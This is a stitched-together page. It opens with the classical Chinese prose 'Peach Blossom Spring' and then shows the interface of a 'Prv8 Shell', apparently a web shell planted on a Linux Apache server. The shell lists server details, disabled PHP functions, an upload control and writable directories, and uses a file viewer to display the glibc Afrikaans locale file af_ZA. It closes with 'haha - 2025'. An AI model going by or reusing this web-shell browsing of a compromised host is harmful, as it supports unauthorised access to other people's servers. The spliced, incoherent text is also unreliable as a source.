晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/i18n/locales/af_ZA
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% ChangeLog
% 1.2.1 (2005-10-13):
%      2005-10-12 Dwayne Bailey <dwayne@translate.org.za>
%        - Added 'Charset: ISO-8859-1' information
%        - Updated contact information
% 1.2 (2004-10-28):
%      2004-10-28 Dwayne Bailey <dwayne@translate.org.za>
%        - Corrected country_name should be "Suid-Afrika"
%      2004-10-27 Dwayne Bailey <dwayne@translate.org.za>
%        - Change decimal and thousand separator to match common convention of
%          [comma]==thousand, [point]==decimal.  Thus copy en_ZA
%        - Add country_post, lang_lib
%        - abmon March: Mar -> Mrt
%        - name_* corrected all capitalisation
%        - Add Translate.org.za to clarify "source"
%        - Update all contact details
%        - Change yesexpr to also accept yY
%        - Update yes/noexpr to remove .*
%      2004-03-30 Dwayne Bailey <dwayne@translate.org.za>
%        - Added name_miss
% 1.1 (2003-04-23):
%      2003-04-23 Dwayne Bailey <dwayne@translate.org.za>
%        - Added LC_MEASUREMENT to LC_IDENTIFICATION
%        - PAPER, TELEPHONE and MEASUREMENT copy en_ZA
%        - Added "^" to yesexpr and noexpr ie "^[nN].*"
%        - Change maintainer to Zuza Software Foundation
%        - Add all missing items in LC_ADDRESS
%        - Add all name_* to LC_NAME
%        - Add various comments explaining items

LC_IDENTIFICATION
title      "Afrikaans locale for South Africa"
source     "Zuza Software Foundation (Translate.org.za)"
address    "Box 28364, Sunnyside, 0132, South Africa"
contact    "Dwayne Bailey"
email      "dwayne@translate.org.za"
tel        ""
fax        ""
language   "Afrikaans"
territory  "South Africa"
revision   "1.2.1"
date       "2005-10-13"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
category "i18n:2012";LC_MEASUREMENT
END LC_IDENTIFICATION

LC_CTYPE
copy "i18n"

translit_start
include "translit_combining";""
translit_end
END LC_CTYPE

LC_COLLATE
copy "iso14651_t1"
END LC_COLLATE

LC_MONETARY
copy "en_ZA"
END LC_MONETARY

LC_NUMERIC
copy "en_ZA"
END LC_NUMERIC

LC_TIME
% abday - The abbreviations for the week days:
abday       "So";"Ma";"Di";"Wo";"Do";"Vr";"Sa"

% day - The full names of the week days:
% Sondag, Maandag, Dinsdag, Woensdag, Donderdag, Vrydag, Saterdag
day         "Sondag";/
            "Maandag";/
            "Dinsdag";/
            "Woensdag";/
            "Donderdag";/
            "Vrydag";/
            "Saterdag"

% abmon - The abbreviations for the months
abmon       "Jan";"Feb";"Mrt";"Apr";"Mei";"Jun";/
            "Jul";"Aug";"Sep";"Okt";"Nov";"Des"

% mon - The full names of the months -
mon         "Januarie";/
            "Februarie";/
            "Maart";/
            "April";/
            "Mei";/
            "Junie";/
            "Julie";/
            "Augustus";/
            "September";/
            "Oktober";/
            "November";/
            "Desember"

% Abbreviated date and time representation to be referenced by the "%c" field descriptor -
%
% "%a" (short weekday name),
% "%d" (day of month as a decimal number),
% "%b" (short month name),
% "%Y" (year with century as a decimal number),
% "%T" (24-hour clock time in format HH:MM:SS),
% "%Z" (Time zone name)
d_t_fmt     "%a %d %b %Y %T %Z"

% Date representation to be referenced by the "%x" field descriptor -
% "%d/%m/%Y", day/month/year as decimal numbers (01/01/2000).
d_fmt       "%d//%m//%Y"

% Time representation to be referenced by the "%X" field descriptor -
% "%T" (24-hour clock time in format HH:MM:SS)
t_fmt       "%T"

% Define representation of ante meridian and post maritime strings -
% The "" mean 'default to "AM" and "PM".
am_pm       "VM";"NM"

% Define time representation in 12-hour format with "am_pm", to be referenced by the "%r"
% The "" means that this format is not supported.
t_fmt_ampm  ""
week 7;19971130;1
END LC_TIME

LC_MESSAGES
yesexpr "^[+1jJyY]"
noexpr  "^[-0nN]"
yesstr  "ja"
nostr   "nee"
END LC_MESSAGES

LC_PAPER
copy "en_ZA"
END LC_PAPER

LC_TELEPHONE
copy "en_ZA"
END LC_TELEPHONE

LC_MEASUREMENT
copy "en_ZA"
END LC_MEASUREMENT

LC_NAME
% Format for addressing a person.
% "%d%t%g%t%m%t%f"
%
% "Salutation",
% "Empty string, or <Space>",
% "First given name",
% "Empty string, or <Space>",
% "Middle names",
% "Empty string, or <Space>",
% "Clan names"
name_fmt    "%d%t%g%t%m%t%f"

% General salutation for any sex
name_gen    ""

% Salutation for unmarried females
name_miss   "mej"

% Salutation for males
name_mr     "mnr"

% Salutation for married females
name_mrs    "mev"

% Salutation valid for all females
name_ms     "me"
END LC_NAME

LC_ADDRESS
% Representation of postal addresses (minus the addressee's name) in South
% Africa. (Ignored for now)
% "%f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N", which gives -
%
% "firm name",
% "end of line",
% "C/O address",
% "end of line",
% "department name",
% "Building name",
% "end of line",
% "street or block name",
% "space",
% "house number or designation",
% "space",
% "floor number",
% "space",
% "room number, door designation",
% "end of line",
% "postal code",
% "space",
% "town, city",
% "end of line",
% "country designation for the <country_post> keyword",
% "end of line
postal_fmt    "%f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N"

% Country name in Afrikaans
country_name  "Suid-Afrika"

% Language name in Afrikaans
lang_name     "Afrikaans"

% CEPT MAILCODES are suggested
% Alternatively use the code found on your countries postal item tracking number
country_post   "ZA"

% UN Geneve 1949:68 Distinguishing signs of vehicles in international traffic
% http://www.unece.org/trans/conventn/disting-signs-5-2001.pdf
country_car   "ZA"

% ISO 2108
% http://www.isbn-international.org/html/prefix/prefa.htm
country_isbn  0

% ISO 639 language abbreviations:
% 639-1 2 letter, 639-2 3 letter terminology
% http://www.loc.gov/standards/iso639-2/englangn.html
lang_ab      "af"
lang_term    "afr"
lang_lib     "afr"

% ISO 3166 country number and 2 and 3 letter abbreviations
% http://www.unicode.org/onlinedat/countries.html
% "ZA", "ZAF"
country_ab2   "ZA"
country_ab3   "ZAF"
country_num   710
END LC_ADDRESS

haha - 2025